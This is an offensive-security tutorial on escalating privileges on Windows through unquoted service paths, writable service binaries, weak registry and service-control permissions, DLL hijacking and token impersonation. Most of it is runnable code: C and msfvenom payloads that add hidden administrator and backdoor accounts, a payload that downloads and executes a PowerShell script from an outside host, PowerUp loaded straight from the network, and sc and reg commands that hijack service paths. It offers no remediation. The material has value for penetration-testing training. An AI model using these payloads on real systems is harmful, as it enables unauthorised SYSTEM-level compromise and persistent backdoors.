Service misconfigurations and unquoted paths

Unquoted Service Paths

Understanding the Attack

Think of it like this: You ask someone to "Run C:\Program Files\Vulnerable Application\service.exe" but you don't put quotes around it. The person hears this as separate words and tries to find what you mean:

1. First they think: "Maybe you mean run a program called 'Program'"

2. Then they think: "Maybe you mean run 'Program Files\Vulnerable'"

3. Finally they understand: "Oh, you mean the full path"

This is exactly what Windows does with unquoted service paths.

How Windows Searches for Files

When Windows tries to start a service with this unquoted path:

C:\Program Files\Vulnerable Application\service.exe

Windows reads this left to right and treats each space as a potential "end of filename". Here's what actually happens:

Attempt 1: Windows takes everything before the first space

• Tries to run: C:\Program.exe

• Reasoning: "Maybe 'Program' is the executable name and everything after the space is parameters"

• If C:\Program.exe exists → Windows runs it and stops!

• If not found → continues to attempt 2

Attempt 2: Windows takes everything before the second space

• Tries to run: C:\Program Files\Vulnerable.exe

• Reasoning: "Maybe 'Vulnerable' is the executable name"

• If C:\Program Files\Vulnerable.exe exists → Windows runs it and stops!

• If not found → continues to attempt 3

Attempt 3: Windows takes everything before the third space

• Tries to run: C:\Program Files\Vulnerable Application\service.exe

• This is the legitimate service executable

A Real Example

Let's say you have a backup service configured like this:

Service Name: BackupAgent
Path: C:\Program Files\Backup Pro\Agent Service\backup.exe
Runs as: SYSTEM (highest Windows privileges)

An attacker who can write files to C:\Program Files\ could:

1. Create a malicious file named Backup.exe

2. Place it in C:\Program Files\Backup.exe

3. When the service starts, Windows finds C:\Program Files\Backup.exe first

4. Windows runs the attacker's file instead of the real backup software

5. The malicious code now runs with SYSTEM privileges

The key insight: Windows executes the FIRST matching file it finds, not the intended one.

Why This Is Dangerous

The problem is clear: if an attacker can place a malicious file called Program.exe in C:\ or Some.exe in C:\Program Files\, their file will run instead of the real service. Since services often run with high privileges (like SYSTEM), the attacker's code inherits those same privileges.

Real-World Example

Consider this vulnerable service:

Service: BackupAgent
Path: C:\Program Files\Backup Pro\Agent Service\backup.exe
Account: LocalSystem (highest privileges)

An attacker could place malicious files at:

• C:\Program.exe (runs as SYSTEM)

• C:\Program Files\Backup.exe (runs as SYSTEM)

When the service starts, Windows would execute the attacker's file with SYSTEM privileges instead of the real backup software.

Enumeration

Finding Vulnerable Services

Basic command to find unquoted paths:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

This command:

• Gets all services with their paths and start modes

• Filters for auto-starting services (more valuable targets)

• Excludes Windows system services (harder to exploit)

• Excludes already quoted paths (not vulnerable)

PowerShell method for cleaner output:

Get-WmiObject -Class Win32_Service | Where-Object {
    $_.PathName -notlike "C:\Windows*" -and 
    $_.PathName -notlike '*"*' -and 
    $_.PathName -like "* *" -and
    $_.StartMode -eq "Auto"
} | Select-Object Name,DisplayName,PathName,StartName | Format-Table -AutoSize

Check specific service details:

sc qc [ServiceName]

Get service info from registry:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]" /v ImagePath

Verifying Exploitability

Just finding an unquoted path isn't enough. You need write access to the intermediate directories.

Test write permissions:

# Check permissions with icacls
icacls "C:\Program Files"

# Actually test write access
echo test > "C:\Program Files\test.txt" 2>nul && echo "Write access confirmed" || echo "No write access"
if exist "C:\Program Files\test.txt" del "C:\Program Files\test.txt"

Use AccessChk for detailed analysis:

accesschk.exe -accepteula -duvw "C:\Program Files"
accesschk.exe -accepteula -duvw "Authenticated Users" "C:\Program Files"

Exploitation Techniques

Creating the Malicious Executable

Simple user creation payload:

#include <windows.h>
int main() {
    system("net user hacker Password123! /add");
    system("net localgroup administrators hacker /add");
    return 0;
}

Compile the payload:

gcc -o Program.exe payload.c

Alternative using MSFVenom:

msfvenom -p windows/exec CMD="net user hacker Password123! /add" -f exe -o Program.exe

Deployment and Execution

Place the malicious file:

copy Program.exe "C:\Program Files\Some.exe"

Trigger service restart:

sc stop [ServiceName]
sc start [ServiceName]

Or restart in one command:

net stop [ServiceName] && net start [ServiceName]

If you can't restart the service manually, you can wait for a system reboot since auto-start services will trigger automatically.

Advanced Payloads

Reverse shell for interactive access:

#include <windows.h>
int main() {
    system("powershell -c \"IEX(New-Object Net.WebClient).downloadString('http://192.168.1.100/shell.ps1')\"");
    return 0;
}

Stealthy payload that maintains service functionality:

#include <windows.h>
int main() {
    // Create backdoor user
    system("net user backdoor$ Password123! /add");
    system("net localgroup administrators backdoor$ /add");
    system("net user backdoor$ /active:no");
    
    // Start the real service to avoid suspicion
    system("\"C:\\Program Files\\Vulnerable Application\\service.exe\"");
    return 0;
}

---

Service Misconfigurations

Types of Misconfigurations

Service misconfigurations occur when Windows services are set up with weak permissions. Unlike unquoted paths which exploit Windows' file search behavior, these vulnerabilities exist because administrators set incorrect permissions.

1. Writable Service Binaries

The service executable file itself can be modified by regular users.

2. Weak Registry Permissions

The registry keys that control service configuration can be modified.

3. Weak Service Control Permissions

Users can start, stop, or reconfigure services they shouldn't be able to control.

Enumeration

Finding Modifiable Services

Check service control permissions:

accesschk.exe -accepteula -uwcqv "Everyone" *
accesschk.exe -accepteula -uwcqv "Authenticated Users" *

Find writable service binaries:

accesschk.exe -accepteula -quvw "C:\Program Files\*\*.exe"
accesschk.exe -accepteula -quvw "C:\Program Files (x86)\*\*.exe"

Check registry permissions:

accesschk.exe -accepteula -kvusw "HKLM\SYSTEM\CurrentControlSet\Services"

Automated enumeration with PowerUp:

# Download and import PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')

# Or load from local file
Import-Module .\PowerUp.ps1

# Run specific checks
Get-ModifiableServiceFile
Get-ModifiableService
Invoke-AllChecks

Attack Methods

Binary Replacement Attack

If you can write to the service executable, simply replace it with your malicious version.

# Backup the original (good practice)
copy "C:\Program Files\Application\service.exe" "C:\Program Files\Application\service.exe.bak"

# Replace with malicious binary
copy malicious.exe "C:\Program Files\Application\service.exe"

# Restart service to trigger execution
sc stop [ServiceName]
sc start [ServiceName]

Registry Modification Attack

If the service registry key is writable, change the ImagePath to point to your executable.

# Change service path in registry
reg add "HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]" /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c net user hacker Password123! /add" /f

# Restart service
sc stop [ServiceName]
sc start [ServiceName]

Service Configuration Attack

If you have service control permissions, reconfigure the service temporarily.

# Check what permissions you have on a specific service
accesschk.exe -accepteula -ucqv [ServiceName]

# Change service binary path temporarily
sc config [ServiceName] binpath= "cmd.exe /c net user hacker Password123! /add"
sc start [ServiceName]

# Restore original configuration (replace with actual original path)
sc config [ServiceName] binpath= "C:\original\path\service.exe"

DLL Hijacking Attack

Some services load DLL files from their directory. If a DLL is missing and you can write to that directory, you can provide a malicious DLL.

Find missing DLLs using Process Monitor:

1. Start Process Monitor

2. Filter by the service process name

3. Look for "NAME NOT FOUND" or "PATH NOT FOUND" entries for DLL files

Create and deploy malicious DLL:

# Generate malicious DLL
msfvenom -p windows/exec CMD="net user hacker Password123! /add" -f dll -o version.dll

# Copy to service directory
copy version.dll "C:\Program Files\Application\version.dll"

# Restart service to load the DLL
sc stop [ServiceName]
sc start [ServiceName]

Advanced Techniques

Token Impersonation

If you can control a service running as SYSTEM, use token impersonation tools to elevate your privileges.

# For Windows 10/Server 2016+
PrintSpoofer.exe -i -c cmd

# For older Windows versions
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *

Service Dependency Manipulation

Create a malicious service and make the target service depend on it.

sc create MaliciousService binpath= "cmd.exe /c net user hacker Password123! /add"
sc config [TargetService] depend= MaliciousService
sc start [TargetService]